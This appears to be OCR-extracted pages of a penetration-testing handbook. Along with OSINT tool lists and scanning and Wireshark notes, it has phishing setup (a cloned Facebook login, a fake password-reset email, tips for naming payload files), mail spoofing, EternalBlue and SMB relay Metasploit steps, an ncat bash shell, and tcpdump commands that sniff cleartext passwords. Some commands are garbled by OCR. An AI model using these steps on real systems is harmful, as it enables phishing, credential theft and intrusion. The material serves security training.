Fanpage Karma
Facebook Search
Facebook Search Tool
Facebook Search Tools
FaceLIVE
Fb-sleep-stats
Find my Facebook ID
LikeAlyzer
Lookup—-ID.com
SearchIsBack
Socialsearching
Wallfux
Wolfram Alpha Facebook Report
Zesty Facebook Search

Social Media Tools (Google+)
CircleCount
Google Plus Search
PlusFeed

Social Media Tools (Instagram)
Custom Instagram Search Tools
Hashtagify
Iconosquare
Ink361
Picodash
SnapMap
Social Rank
Tofo.me
Websta (Instagram)
Worldcam

Social Media Tools (Pinterest)
Pingroupie
Pin Search

Reddit

Imgur - The most popular image hosting website used by redditors.

Metareddit - Explore various subreddits.

Mostly Harmless - Mostly Harmless looks up the page you are currently viewing

see if it has been submitted to reddit.

Reddit Archive - Historical archives of reddit posts.

Reddit Suite - Enhances your reddit experience.

Reddit Investigator - Investigate a reddit users history.
Reddit Metrics - Keeps track of the growth of a subreddit.

Reddit User Analyser - reddit user account analyzer.

SnoopSnoo - Provides reddit user and subreddits analytics.

Subreddits - Discover new subreddits.

Reddit Comment Search - Analyze a reddit users by comment history.

Search Engines

General Search
Advangle
Aol
Ask
Bing
Better Search
Dothop

DuckDuckGo - an Internet search engine that emphasizes protecting searchers'

privacy.
Factbites
Gigablast
Goodsearch
Google Search - Most popular search engine.
Instya
Impersonal.me

https://t.me/learningnets
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iSEEK Education
ixquick

Lycos

Parseek (Iran)
Peeplo
Search.com
SurfCanyon
Teoma

Wolfram Alpha
Yahoo! Search

Localized search engines by country
Alleba (Philippines) - Philippines search engine
Baidu (China) - The major search engine used in China
Daum (South Korea)
Eniro (Sweden)
Goo (Japan)
Najdsi (Slovenia)
Naver (South Korea)
Onet.pl (Poland)
Orange (France)
Parseek (Iran)
SAPO (Portugal)
Search.ch (Switzerland)
Walla (Israel)
Yandex (Russia)

Lesser known and used search engines
All-in-One
AllTheInternet
Etools
FaganFinder
Glearch
Goofram
izZito
Nextaris
Metabear
Myallsearch
Qrobe
Qwant
Sputtr
Trovando
WebOasis
WiinkZz
Zapmeta

Search engines for specific information or topics
2lingual Search
Biznar
CiteSeerX
FindTheCompany
Digle
Google Custom Search
Harmari (Unified Listings Search)
Internet Archive
Million Short
WorldWideScience.org
Zanran

Search engines that scrape multiple sites (Google, Yahoo, Bing, Goo, etc) at the same

time and return results.

Carrot2 - Organizes your search results into topics.

Cluuz - Generates easier to understand search results through graphs, images, and
tag clouds.

Yippy - Search using multiple sources at once

Find websites that are similar. Good for business competition research
Google Similar Pages

SimilarPages - Find pages similar to each other
SimilarSites - Discover websites that are similar to each other
SitesLike - Find similar websites by category

https://t.me/learningnets
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Search for data located on PDFs, Word documents, presentation slides, and more
Authorstream
Find-pdf-doc
Free Full PDF
Hashdoc
Offshore Leak Database
Pastelert
PDF Search Engine
PPTHunter
RECAP
Scribd
SlideShare
Slideworld
soPDF.com

Find information that has been uploaded to Pastebin

Custom Pastebin Search - A custom search page that indexes 57 different paste
sites.
Pastelert - Pastelert is a simple system to search pastebin.com and set up alerts

(like google alerts) for pastebin.com entries.

Search by website source code

CoCaBu - Search engine that augments user query into code-friendly for retrieving
precise examples.

FaCoY - Search engine that retrieves code examples that are syntactically and
semantically similar.

NerdyData - Search engine for source code.

SearchCode - Help find real world examples of functions, API's and libraries across

10+ sources.

Company Research

AllStocksLinks

Battle of the Internet Giants

Better Business Bureau

Bizeurope

Biznar

Bloomberg

Business Source

Bureau Van Dijk

Canadian Business Research

Canadian Business Resource

Central and Eastern European Business Directory
Company Registration Round the World
Company Research Resources by Country Comparably
CompeteShark

Corporate Information

CrunchBase

Data.com Connect

EDGAR Online

Europages

European Business Register

Ezilon

Factiva

FindtheCompany

Glassdoor

Global Business Register

globalEdge

GuideStar

Hoovers

Inc. 5000

InstantLogoSearch

iSpionage

Knowledge guide to international company registration
Linkedin

National Company Registers
MarketVisual

Mergent Intellect

Mergent Online

Morningstar Research

Notablist
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Orbis directory
opencorporates
Owler

Overseas Company Registers
Plunkett Research
Scoot

SEMrush

Serpstat

SpyFu

Forbes Global 2000
Tradezone Europages
Vault

Xing

Job Search Resources
Beyond
CampusCareerCenter
CareerBuilder
College Recruiter
Craiglist
CVFox
Dice
Eluta (Canada)
Eurojobs
Fish4Jobs
Glassdoor
Headhunter
Indeed
Jobs (Poland)
Jobsite (UK)
Linkedin
Monster
Naukri (India)
Reed (UK)

Seek (Australia)
SimplyHired
Xing
ZipRecruiter

Domain/IP Research

Accuranker

ahrefs - A tool for backlink research, organic traffic research, keyword research,
content marketing & more.

Alexa

Bing Webmaster Tools

BuiltWith

Central Ops

Custom Domain Search Tools
Custom IP Address Search Tools
Dedicated or Not
DNSDumpster

DNS History

DNSStuff

DNSViz

Domain Big Data

Domain Crawler

Domain Dossier

Domain History

Domain Tools - Whois lookup and domain/ip historical data.
Easy whois
Exonera Tor - A database of IP addresses that have been part of the Tor network. It

answers the question whether there was a Tor relay running on a given IP address on a
given date.

Follow.net

GraphyStories

HypeStat

Infosniper

intoDNS

IP Checking

IP Location

IP 2 Geolocation
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IP 2 Location

IPFingerprints

IPVoid - IP address toolset.

IntelliTamper

Kloth

NetworkTools

Majestic

MaxMind

MXToolbox - MX record lookup tool.

Netcraft Site Report

OpenLinkProfiler

Open Site Explorer

PageGlimpse

Pentest-Tools.com

PhishStats

Pulsedive

Quantcast

Quick Sprout

RedirectDetective

Remote DNS Lookup

Robtex

SamelD

SecurityTrails - API to search current and historical DNS records, current and
historical WHOIS, technologies used by sites and whois search for phone, email,
address, IPs etc.

SEMrush

SEO Chat Tools

SEOTools for Excel

Similar Web - Compare any website traffic statistics & analytics.

SmallSEOTools

StatsCrop

Squatm3gator - Enumerate available domains generated modifying the original domain

name through different cybersquatting technigues

TCPIPUTILS.com

urlQuery

URLVoid - Analyzes a website through multiple blacklist engines and online
reputation tools to facilitate the detection of fraudulent and malicious websites.

Wappalyzer

WebMeUp

Website Informer

WhatIsMyIPAddress

Who.is - Domain whois information.

Whois Arin Online

WhoIsHostingThis

WhoisMind

Whoisology

WhoIsRequest

w3snoop

Verisign

ViewDNS.info

You Get Signal

Image Search/Analysis

Image Search
7Photos
Baidu Images
Bing Images
Clarify
Flickr
GoodSearch Image Search
Google Image
Gramfeed
Image Identification Project
Image Raider
KarmaDecay
Lycos Image Search
MyPicsMap
PhotoBucket
Picsearch
PicTriev
Reverse Image Search
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StolenCameraFinder

TinEye - Reverse image search engine.
Websta

Worldcam

Yahoo Image Search

Yandex Images

Image Analysis
ExifTool
Exif Search
FotoForensics
Gbimg.org
Ghiro
ImpulseAdventure
Izitru
Jeffreys Image Metadata Viewer
JPEGsnoop
Metapicz

https://t.me/learningnets
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Social Engineering

Cialdini’s Six Weapons of Influence

Reciprocation, Commitment, Consistency, Social Proof, Liking, Authority, Scarcity

People search

site: [url] vip
site: [url] president
site: [url] contact

Social Networking Recon

LinkedIn :usually greatest source of info
Facebook :find out what they ate for lunch
Twitter, Google+, Pinterest, Myspace, Orkut

What to Name Files with Payloads Inside (E-mail, leave USBs around, etc)

*renaming .pif hides windows extensions and makes it executable but shows like the
first file extension

Bonus Plan

Layoff Plan

Best Pics

Email Harvesting (Find emails and possibly usernames for an organization)

theharvester —d cisco —-b google > google.txt tharvest through Google
theharvester —d cisco.com =1 10 -b bing > bing.txt tharvest through Bing

Verify 0365 Emails
https://github.com/Raikia/UhOh365

Sending as Someone Else through Exchange Mail Relay

See if permissions were improperly set on a relay server:

Send-MailMessage -to "target@testcompany.com" -Cc ("otherperson@

testcompany.com", "otherperson2@ testcompany.com") -from "spoofed.person@
testcompany.com" -Subject "Promotion Announcement" -SmtpServer exchange.nscorp.com -
Port 25 -body "I am pleased to announce said person has been promoted to Team Lead of
the new Beer Pong Ops Team. Thanks." -UseSsl

Watering Hole Attack

setoolkit :start up

2 :website attack wvectors

3 :credential harvester method
2 :site cloner

https://www. facebook.com/login.php :clone fb, listens on port 80
ncat -1k -p8080 -e /bin/bash & :combine with listener
python —m SimpleHTTPServe ralt server

Phishing Pre-Setup

https://medium.com/Q@curtbraz/these-arent-the-phish-you-re-looking-for-7374c3986af5
https://github.com/curtbraz/Phishing-API/blob/master/BlacklistBypassTemplate.php
*Basically set up your domain with good content before, let it bake, sugmit yourself to
crawlers, block crawlers, etc. Then during engagement swap with real content.

Instagram

https://instahacking.org/hack-instagram/

Watering Hole Attack Full

Set Up Watering Hole

setoolkit

y ragree to terms
1 Social Engieneering Attacks
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2 Website Attack Vectors

3 Credential Harvester Attack Method

3 Custom Import

POST back Havester/Tabnabbing: <yourKaliIp>

Path to website to be cloned: /root/facebook/

URL to import: http://www.facebook.com :or copy org’s website
Cred Harvest listener now started

Craft Social Engineering Email

setoolkit :start social eng toolkit

1: Social Engineering Attacks

5: Mass Mailer Attack

l: E-mail Attack Single Email Address

Send email to user@facebook.com

2: Use your own server or open relay & enter creds

SMTP email server address: smtp.localhost :or use the organizations SMTP if open relay
Defaults, no file, no attachments, subject ‘Facebook Password Reset’, plaintext

Body without <brs>: ‘Dear user@facebook.com, <br>We are writing to informa you that the
password for you Facebook account has expired, and as a result, is no longer valid.
<pbr><br>This email has been sent to safeguard your Facebook account against any
unauthorized activity. For your online account safety, please visit your account and
reset your password.<br>Facebook Customer Support

END

You also need to have MitM'd the user to redirect them somehow

Example #1: Hosts File on a Machine Open to Eternal Blue

msfconsole; use auxiliary/scanner/smb/smb msl7 010; show options, set rhosts <ip>; run
use exploit/windows/smb/msl7 010 psexec; set rhost <target ip>; exploit

meterpreter> cd C:\\windows\\system32\\drivers\\etc\\ :\ escapes

meterpreter> 1ls

meterpreter> edit hosts

inside vi, arros down, “i” for input, enter kali ip facebook.com, :wqg!

Would really be better to compromixe the .pac file

Other Examples: Refer to MitM chapter

Mac Webcam Hack (Safari 13.0.4-)

https://www.ryanpickren.com/webcam-hacking

Zoom UNC Link (4.6.8- (19178.0323-)), fixed in 4.6.19253.0401

https://www.bleepingcomputer.com/news/security/zoom-lets—-attackers-steal-windows-
credentials-run-programs-via-unc-1links/

*Use Responder to listen for NTLM hashes sent from UNC link

Basic Example: \\?\C\Windows\System32\calc.exe

30

https://t.me/learningnets


http://www.facebook.com/
mailto:user@facebook.com
mailto:user@facebook.com
https://www.bleepingcomputer.com/news/security/zoom-lets-attackers-steal-windows-credentials-run-programs-via-unc-links/
https://www.bleepingcomputer.com/news/security/zoom-lets-attackers-steal-windows-credentials-run-programs-via-unc-links/

Fingerprinting / Scanning

Passive Fingerprinting

pOf -i eth0 -p -o /tmp/pO0f.log
£10p

Sniff While Scanning (Can be helpful)

tcpdump —nn host <ip>

nmap —n —-sT <ip> :-n important,

Key Nmap Parameters

:sniff a particular ip
speeds up alot

nmap -n
nmap --spoof-mac <0 | Mac_addr>
nmap --source-port 53

Nmap Probe/Sweeps (quicker, less results)

:no dns, MUCH gquicker
:misattribution
:for bypassing firewalls

SYN-443,ACK-80; ICMP TSR
(many fws block)
—-PS80

host discovery

(type 13)
:ICMP address mask request (type 17)
:ARP discovery-only works on same subnet

:turns off ping before scan-use often
:Fast scan — top 100 ports

(set FIN bit of all packets)
(half open, not stealthy)

(specified ports), use -sV

:UDP needs —sV a lot of times

:search for safe NSE scripts

:show host interfaces & routes
:shows you why it gave you what it did

nmap —-PB <ip> :ICMP ER,

nmap —sP <ip> :ICMP ping sweep

nmap —-PS[portlist] <ip> :TCP ACK ping;i.e.
nmap —-sn <ip> :ping sweep;

nmap —PA <ip> :TCP Syn ping

nmap —PP <ip> :ICMP timestamp request
nmap —PM <ip>

nmap —PR <ip>

Nmap Scans

Nmap —-Pn

nmap —-sT —A —P0 <target ip> :detailed info

nmap —-F <ip>

nmap —-p 80 <ip> :scan single port

nmap —sA <ip> :TCP ACK Scan

nmap —-sF <ip> :FIN Scan

nmap —-sS <ip> :stealth scan

nmap —-sT <ip> :TCP Connect Scan

nmap —-sU —p 53,111,414,500-501<ip> :UDP Scan

nmap -sV —--version-intensity 0 -sU <ip> -v

nmap —sW <ip> :TCP Windows scan

nmap <ip> —-script=<all,category,dir,script> :Nmap Scripting Engine
nmap <ip> --script smb-os-discovery.nse :nmap NSE example

grep safe /opt/nmap-6.4.7/share/nmap/scripts/script.db

sudo --script-help “http-*" | grep ““http-“ :search for script types
nmap <ip> —-iflist

nmap <ip> —-reason

<spacebar>

Nmap OS Fingerprinting (most bandwidth intensive scan)

restimate progress during scan

nmap -0 <ip>
nmap —-A <ip>
nmap —-sV <ip>

Nmap Fuzzing Scans

:0S scan
:detect OS & services
:standard service detection

nmap —-sM <ip>
nmap —sX
nmap —sN
nmap —-s0 <ip>

Nmap Output Options

(set FIN & ACK bits)
Tree Scan (FIN, PSH, URG bits)

scan (set all control bits to 0)
IP protocols (TCP, ICMP, IGMP,etc.)

:TCP Maimon scan
: Xmas
rnull
:Scan

nmap —oA outputfile
nmap —-oX outputfile.xml <ip>
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nmap —oG outputfile.txt <ip> :save grep format file

Compare scans

nmap ip -oX baseline.xml

nmap ip -ox newscan.xml

ndiff basline.xml newscan.xml :differential on scans

Nmap NSE Scripts

-sC :use default scripts to eval target
—--script all :probably DoS

—-—-script-updatedb :update NSE scripts

--script banner :run names script banner against target
--script-help “http*” :info about http* scripts

--script “http*” :run all http scripts

—-—-script “smb*” :run all smb* scripts

EyeWitness (graphical report)

/opt/eyewitness/Python/EyeWitness.py —web -f simcloud-targets.txt —--prepend-https

Nmap Firewall Scans

nmap ——badsum :RESET from good and bad checksum means firewall

nmap —-sN <ip> :TCP Null scan to fool fw to generate response (TCP flag header 0)
nmap —-sF <ip> :TCP Fin scan to check firewall (TCP FIN bit)

nmap —sX <ip> :Xmas Scan (FIN, PSH, URG flags)

nmap —f <ip> :—f causes scan (including ping) to use fragmented packets

nmap —n -D src ip,src ip2 dest ip :-D makes it look like decoys are scanning also

nmap —-spoof-mac 0 <ip>:0 chooses a random MAC to spoof

WiFi Scanning

1. Monitor (RFMON) to detect Aps and stations
2. Potential packet injection

3. Master mode to pretend to be an AP

4 Managed mode when have stolen credentials

MassScan

*MassScan can take a network down; ethernet preferred over wireless. MassScan is ideal
for speed over accuracy — meant for scanning the entire internet

./masscan 0.0.0.0/4 -p80 —-rate 1000000 —--offline :test speed of host

./masscan 0.0.0.0/4 -p80 -rate 1000000 —-router-mac DE-AD-BE-EF-55-66 :test network spd
*Observe speeds (xx-kpps), SANS recommends 20% overhead

./masscan <range/ip> -p<portlist -rate 40000 —-exludeips-excluded.txt

sudo ./masscan -iL ips.txt -pl-1024 rexmple scan (/opt/masscan)

sudo ./masscan -ilL ips.txt -p20-80,443,445,1433,3306,6379,5432,27017 :db ports
*follow up with nmap & nmap scripts for more in depth enumeration

Web Scan

nikto tbuilt in to Kali
Aquatone: https://github.com/michenriksen/aquatone :good alternate

TCP Idle Scan (scan stealthily by spoofing ip address of another host on network)

msfconsole :start metasploit

use auxiliary/scanner/ip/ipidseq :look for idle computers
show options :show parameters

set RHOSTS <ips>; set THREADS 10 :set parameters

run

*We get a list of potential idle hosts to use as our target; pick one
nmap —PN —sI <idle ip> <target ips> :launch TCP Idle Scan

MetaSploit Port Scans

msfconsole :start MetaSploit

search portscan :search for portscans

use auxiliary/scanner/portscan/syn :select a particular portscan
SQL Scan

*Saves a ton of time because UDP 1434 is what you query to discover dynamic SQL ports
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(i.e.
msfconsole

use auxiliary/scanner/mssql/mssgl ping
show options

set RHOSTS <ip>;
run

set THREADS 10

SSH Scan

if they changed it from the non-standard TCP 1433)

:open metasploit
:scanner for SQL
:show parameters
:set parameters
rrun

*SSH often easily exploitable
msfconsole

use auxiliary/scanner/ssh/ssh version
show options

set RHOSTS <ip>;
run

OR

nmap —n —-script=sshvl.nse <ip> -p 22

set THREADS 10

:open metasploit
:scanner for SSH
:show parameters
:set parameters
rrun

:check for SSHv1l

FTP Scan

*older FTP versions have easily exploitable vulnerabilities

msfconsole :open metasploit
use auxiliary/scanner/ftp/ftp version :scanner for FTP
show options :show parameters

set RHOSTS <ip>; set THREADS 10 :set parameters

run rrun
SNMP Scan

*SNMPv1l and v2 very flawed, v3 much more secure

nmap —sU —pl6l -—-script=snmp-interfaces <ips> :find interfaces

nmap -sU -pl6l —--script=snmp-brute <ips> :cred search

nmap —sU —pl6l -—script=snmp-processes <ips> :find addit. Serv
nmap —-sU —pl6l —-script=snmp-netstat <ips> rnetstat via snmp
nmap —-sU —pl6l —-script=snmp-sysdescr <ips> :server type and

nmap —sU —pl6l —script=snmp-win32-software <ips>:software

nmap —sU —-pl6l —-sV —-sC <ip> :all scripts

alt

msfconsole :open metasploit

use auxiliary/scanner/snmp/snmp login
show options

set RHOSTS <ip>;
run

:show parameters
:set parameters
rrun

set THREADS 10

RDP (Windows) - Loud

rdesktop —u guest <target ip>

Netcat Port Scans

nc =v -n -z —-wl <ip> 20-80 :netcat port scan

un

echo Inc —v —n —-wl <ip> <port-range>

Windows Command Line Ping Sweep

For /L %i in (1,1,255) do @ping —n 1 10.0.0.%i | find “TTL”

Powershell Scans

1.255 | $ {ping -n 1 —w 100 10.10.10.$ | select-string ttl} :Ping sweep
1..1024 | % {echo ((new-object Net.Sockets.TcpClient)
is open" } 2>$Snull :Port Scan

Fast Scan Tools (for big blocks of ips)

version

(weak)

version

ices

0S

:scanner for SNMP version

.Connect ("10.0.0.1",$ ))

:guest often authenticates

:port scanner which harvests banners

:TTL shows successful

one receives

ScanRand :one program sends SYNs;
Zmap :scans all of IPPv4 for one port
MassScan :utilizes threading

Response Meanings

RST + ACK (TCP)
ICMP Port Unreachable
ICMP Port Unreachable

(TCP)
(UDP)
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:likely port closed or firewall blocking
:most likely blocked by firewall
:most likely port is closed
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No response (TCP)
No response (UDP)

https://t.me/learningnets
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:could be port closed, firewall, ignored?
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Vulnerability Scanning

Nmap Vulnerability Scans

Vuln
nmap -Pn —--script vuln 11.22.33.44

VulnScan
git clone https://github.com/scipag/vulscan scipag vulscan
In -s ‘pwd’/scipag vulscan /usr/share/nmap/scripts/vulscan

nmap -sV —--script=vulscan/vulscan.nse www.example.com
--script-args vulscandb=your own database radd your own cve db
-p 80 :look for specific port

Nmap-vulners

cd /usr/share/nmap/scripts/

git clone https://github.com/vulnersCom/nmap-vulners.git
nmap --script nmap-vulners -sV 11.22.33.44

Combined
nmap --script vuln,nmap-vulners,vulscan -sV yourwebsite.com

*then cross reference cves with exploitdb or others, reference

Tools

*use 10 minute mail and set up a trial

Nexpose: Super plug and play, commercial

Nessus: commercial, interestingly supports yara scanning
OpenVAS: opensource but not gquite as good

https://t.me/learningnets
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Recon Privilege Relationships

BloodHound

Note that running SharpHound (C#) can be an evasion technique.

https://github.com/braimee/bpatty/blob/master/pentesting/network pentesting/index.md

Bloodhound, according to GitHub "uses graph theory to reveal the hidden and often
unintended relationships within an Active Directory environment. Attackers can use
BloodHound to easily identify highly complex attack paths that would otherwise be
impossible to quickly identify. Defenders can use BloodHound to identify and eliminate
those same attack paths. Both blue and red teams can use BloodHound to easily gain a
deeper understanding of privilege relationships in an Active Directory environment.

Quick start guide using Kali
Clone Bloodhound repository
git clone https://github.com/adaptivethreat/BloodHound /opt/bloodhound

Install Neo4j
Go to https://neodj.com/ and download/extract the Linux package.

Download and extract the Bloodhound binaries
Grab the one that's right for your environment here.

Copy the Bloodhound database over the sample neo4j one
cp -r /path-to-bloodhound/BloodHoundExampleDB.graphdb /path-to-
neo4j/data/databases/sample.

Login to Neo4]j portal and change the password
From the /path-to-neo4j/ run this:
neo4j console

You'll be given a Web URL to visit. Upon opening it you'll be prompted to change the

password from neo4j to something else. Do it. :-)

Run Bloodhound

Now, go to the /path-you-extracted-bloodhound-binaries-to/ and run ./Bloodhound
Once the Bloodhound interface is open, you'll provide a URL of http://localhost:7474, a

DB Username of neo4j and a password of yournewpassword

Collect data to slurp into Bloodhound

There are many ways to do this, but what I did is uploaded BloodHound.psl to a temp

folder on my target, then ran these PS commands:

import-module BloodHound.psl
Get-BloodHoundData | Export-BloodHoundCSV
This dumped a handful of .csv files to the folder that BloodHound.psl was in.

I

downloaded those via my Empire agent using download blah.csv download blah2.csv etc.

and then those files get stored in path/to/empire/downloads/NAME-OF-AGENT

Import data into Neo4j
Near the upper right of the Neo4j console you will see an Import Data button.

Click it,

then point to one of your .csv files to upload it. Continue until all are uploaded, and

now you're ready to analyze the data!

https://t.me/learningnets
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Scanning: Nmap / MetaSploit Integration

Nmap & MetaSploit

msfconsole :start metasploit

dbstatus :verify metasploit is connected to db**
db nmap —Pn —-sS —-A <ips> :populate db with scan

db nmap -0 <ip> :populate db with OS Scan

db import /tmp/file.xml :import nmap scan file

db_import /tmp/file.nessus :import nessus vulnerability scan

exit :

**in case db status issues:

msfdb start

db_ status

msfdb init

db status

db connect -y /usr/share/metasploit-framework/config/database.yml
db status

search smb :if using slow search:
update-rc.d postgresgl enable

db status

db rebuild cache

MetaSploit Database Querying

hosts :show discovered hosts

hosts —add <ip> :manually add host

hosts =S linux :show linux hosts

services :show discovered services
services —add —-p 80 <ip> :manually add services for hosts
vulns :show vulnerabilities discovered
vulns —S RPC :show RPC wvulnerable hosts

vulns —p 445 :show vulnerable smb hosts

MSFMap Meterpreter Module (Scan from Compromised Host)

exploit rexploit meterpreter shell
load msfmap :load module into meterpreter
msfmap —sP :ping sweep

msfmap —-sT :TCP Connect scan

msfmap —-top-ports :same as nmap

https://t.me/learningnets



Sniffing (While you scan)

WinDump (Windows)
tcpdump ported to Windows

SMB Relay Attack

Note SMB relay attacks great against vulnerability scanner — would need knowledge of
when scans & open listener for incoming SMB req.

Example:

msfconsole

use exploit/windows/smb/smb relay

set SMBHOST ip #victim to attack

set payload windows/meterpreter/reverse tcp

set LHOST ip #your ip

exploit

Cleartext Passwords

tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet
| egrep -i -B5 'pass=|pwd=|log=]|login=|user=|username=|pw=|passw=|passwd=
|password=|pass:|user: |username: |password: |login: |pass |user '

Just search POST data:

sudo tcpdump -s 0 -A -n -1 | egrep -1 "POST /|pwd=|passwd=|password=|Host:"
Capture SMTP Email

tcpdump -nn -1 port 25 | grep -i 'MAIL FROM\ |RCPT TO'

Extract HTTP Passwords in POST Requests

tcpdump -s 0 -A -n -1 | egrep —-i "POST /|pwd=|passwd=|password=|Host:"
Capture FTP Credentials and Commands

tcpdump —-nn -v port ftp or ftp-data

netsniff-ng

sudo netsniff-ng teasier to read than tcpdump

Flamingo Credential Sniffer

https://github.com/atredispartners/flamingo :ssh, http, ldap, dns, ftp, snmp

WireShark

At the startup, click the capture interface you want to monitor.
filter such as host <ip> and tcp port 4444 to filter out unwanted traffic.
click Capture / Interfaces, then click options and you can set a filter.
it’s right there on the main page.

In Kali
In Windows

tcpdump (Linux)

-1A

You can add a capture

tcpdump —-n :use #s instead of names for machines
tcpdump =i [int] :sniff interface (-D lists ints)
tcpdump —v :verbose (IP ID, TTL, IP options, etc)
tcpdump —w :Dump packets to file (-r to read)
tcpdump —x :print hex

tcpdump —X :print hex & ASCII

tcpdump —-A :print ASCII

tcpdump —s [snaplength] :older vs: —s 0 to capture whole packet
tcpdump <ether,ip,ip6, arp, rarp, tcp, upd> :capture certain protocol traffic
tcpdump host <host> :only give packets from that host
tcpdump net <network> :

tcpdump port <port>

tcpdump portrange <range> :

port src ronly from that host or port

port dst :only from that destination
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tcpdump Examples

tcpdump —nnX tcp and dst <ip> :view tcp packets with ASCII & hex
tcpdump —nn tcp and port 445 and host <ip> :view TCP p445 going to or from <ip>
tcpdump —nv —s0 port 445 —-w /tmp/winauth.pcap :-s0 means full packets, -w dumps 2 file

Sniff Authentication Sessions

Pcap Strings Search

ngrep —q —I /pcaps/sample.pcap “SEARCHPHRASE” :-g only headers & payload
ngrep —q —I1 /pcaps/sample.pcap “HTTP/1.07 :should see 1.1&2.0; 1.0 often malware
strings /pcaps/sample.pcap | grep GET ralternate search

tshark —nr /sample.pcap —Y “http.request.method==GET” :alternate search

Pcap Extraction with dsniff

dsniff -p pcapfile -m
*note see MitM chapter or Reverse Shells

Watering Hole Attack Example

python -m SimpleHTTPServer 8080 :stand up simple server, or use set
ncat -1 -p8080 -e /bin/bash :see reverse shells for several options

Exporting Outlook Private Keys and Decrypting SIMIME emails
https://www.errno.fr/OutlookDecrypt/OutlookDecrypt

39

https://t.me/learningnets


https://www.errno.fr/OutlookDecrypt/OutlookDecrypt

Sniffing: WireShark Essentials

Common Investigation Queries (See TCPDump Essentials for translation to tcpdump)

Control+F: tcp and frame contains “xxxx” or Edit/Find Packet, Packet Bytes & String type
Typically start with File / Export Objects / HTTP

Web Attack Analysis (successful): http.response.code == 200

http.request and ip.addr eq x.x.x.X

Starting Point

Statistics / Protocol Hierarchy :get a feel for what type of traffic you’re working with
Statistics / End Points :get a feel for the devices involved

Statistics / Conversations :look at large conversations, and duration

Statistics / HTTP / Requests :can be used to narrow down if malware was downloaded

Computer Information:

Mac Address (xref NAC logs): 00:59:07:b0:63:a4 - Found on any packet with the ip, directly on Ethernet

Host Name: use "nbns" to filter netbios traffic. The <00> requests can be hostnames or domains, but the <20> shows the hostname
*Alternatively we could have search wireshark with bootp or dhcp (dhcp for WireShark 3.0), click a DHCP Request - In this case a
DHCP Inform. Expand DHCP, Option 12 Host Name

*if you don’t have either of those you could filter “smb” to show SMC traffic then look for Host Announcement which shows the name

Windows User Account Name:

Filter WireShark on kerberos.CNameString

Select an AS-Req packet, go to Kerberos / as-req / req-body /cname / cname-string, right click the line with CNameString:computer-pc$
and apply as column. Then you should see computer and usernames. CNameString values for hostnames always end with a $, while user
account names do not. To filter on user account names:

kerberos.CNameString and !(kerberos.CNameString contains $)

Device Model & OS From HTTP Traffic:

http.request and !(ssdp) / Follow TCP Stream

*alternatiely frame contains GET

Under User agent string it commonly identifies OS & Browser but can be spoofed (Windows NT 5.1: Windows XP, Windows NT 6.0:
Windows Vista, Windows NT 6.1: Windows 7, Windows NT 6.2: Windows 8, Windows NT 6.3: Windows 8.1, Windows NT 10.0:
Windows 10). Note for mobile devices you can find the model or OS type from the user agent string)

Look at HTTP(S) Traffic for a single device

(http.request or ssl.handshake.type ==1) and !(udp.port==1900) and ip.addr eq <ip>
*Note any traffic over non-standard ports, if needed right click / Decode As
Alternatively look at Statistics / HTTP / Requests

10Cs

First look for ips and ports from alerts, look for downloade files

possibly try (http.request or ssl.handshake.type ==1) and !(udp.port==1900) and ip.addr eq <ip>

*Note after you find downloaded files, then follow stream. Add one to the syntax "tcp.stream eq #" and walk through the streams after
to look for beacon traffic

(http.request or ssl.handshake.type ==1) and !(udp.port==1900) and ip.addr eq <ip> :look for ips not in alerts

DNS Requests
dns.resp.name dns.gry.name contains “part of url”

Downloaded files

File / Export Objects / (HTTP or appropriate)

Statistics / HTTP / Requests

http get requests from alerted ips, and files downloaded — ip.addr eq x.x.x.x and http.request

ip contains “This program” then Follow TCP Stream (especially look for files with different extension)

SMB Files

smb and smb.cmd == Oxa2

*in middle of wireshark pane expand SMB, expand SMB Header, expand NT Create Andx Response. If file exists the time and date
stamps, size and filename will be shown

smb.cmd == 0x2e or smb.cmd == 0x2f :show only SMB reads (0x2e) + writes (0x2f)

*use to identify all attempted xfers and if likely successful

Show FTP command timeline:
ftp.request.command eq USER or ftp.request.command eq PASS or ftp.request.command eq STOR
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-shows the server 000webhost.com using different ips - common

Show FTP files being sent:

ftp-data

*Note try to follow the last one

ftp.request.command == “RETR” || ftp.request.command == “STOR”

Pulling a sha-256 to see if file is infected:

Powershell: Get-FileHash .\<file> -Algorithm SHA256
Linux info: file malware.exe

Linux: shasum -a 256 malware.exe

https://t.me/learningnets

:then follow stream, save as “Raw”, save conv.

:look for a quick list of files
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Sniffing: TCPDump Essentials

Most Important Options

-w store both connection info and actual data into a file
-s tells tcpdump how much of packet should be captured
-C in conjunction w/-w to save captures as multiple sequential captures

Command Line Options

—-A Print frame payload in ASCII -c <count> Exit after capturing count packets
-D List available interfaces —-e Print link-level headers

-F <file> Use file as the filter expression

-G <n> Rotate the dump file every n seconds

-i <iface> Specifies the capture interface -K Don't verify TCP checksums

-L List data link types for the interface -n Don't convert addresses to names

-p Don't capture in promiscuous mode -g Quick output

-r <file> Read packets from file -s <len> Capture up to len bytes per packet

-S Print absolute TCP segquence numbers -t Don't print timestamps

-tttt print date as 1°* field of packet before time

-v[v([v]] Print more verbose output -w <file> Write captured packets to file
-x Print frame payload in hex -X Print frame payload in hex and ASCII
-y <type> Specify the data link type -Z <user> Drop privileges from root to user

Capture Filter Primitives

[src|dst] host <host> Matches a host as the IP source, destination, or either

ether [src|dst] host <ehost> Matches a host as the Ethernet source, destination, or
either

gateway host <host> Matches packets which used host as a gateway

[srcldst] net <network>/<len> Matches packets to or from an endpoint residing in
network

[tcpludp] [srcldst] port <port> Matches TCP or UDP packets sent to/from port
[tcpludp] [srcldst] portrange <pl>-<p2> Matches TCP or UDP packets to/from a port in
the given range

less <length> Matches packets less than or equal to length

greater <length> Matches packets greater than or equal to length

(ether|ipl|ip6) proto <protocol> Matches an Ethernet, IPv4, or IPv6 protocol
(ether|ip) broadcast Matches Ethernet or IPv4 broadcasts

(ether|iplip6) multicast Matches Ethernet, IPv4, or IPv6 multicasts

type (mgt|ctl|data) [subtype <subtype>] Matches 802.11 frames based on type and
optional subtype

vlan [<vlan>] Matches 802.1Q frames, optionally with a VLAN ID of vlan

mpls [<label>] Matches MPLS packets, optionally with a label of label

<expr> <relop> <expr> Matches packets by an arbitrary expression

Protocols

Arp ether fddi icmp ip ip6
Link pPP radio rarp slip tcp
Tr udp wlan

TCP Flags

tcp-urg tcp-rst tcp-ack tcp-syn tcp-psh tcp-fin
Modifiers

! or not && or and || or or

Examples

! udp dst port not 53 :UDP not bound for port 53
host 10.0.0.1 && host 10.0.0.2 :Traffic between these hosts
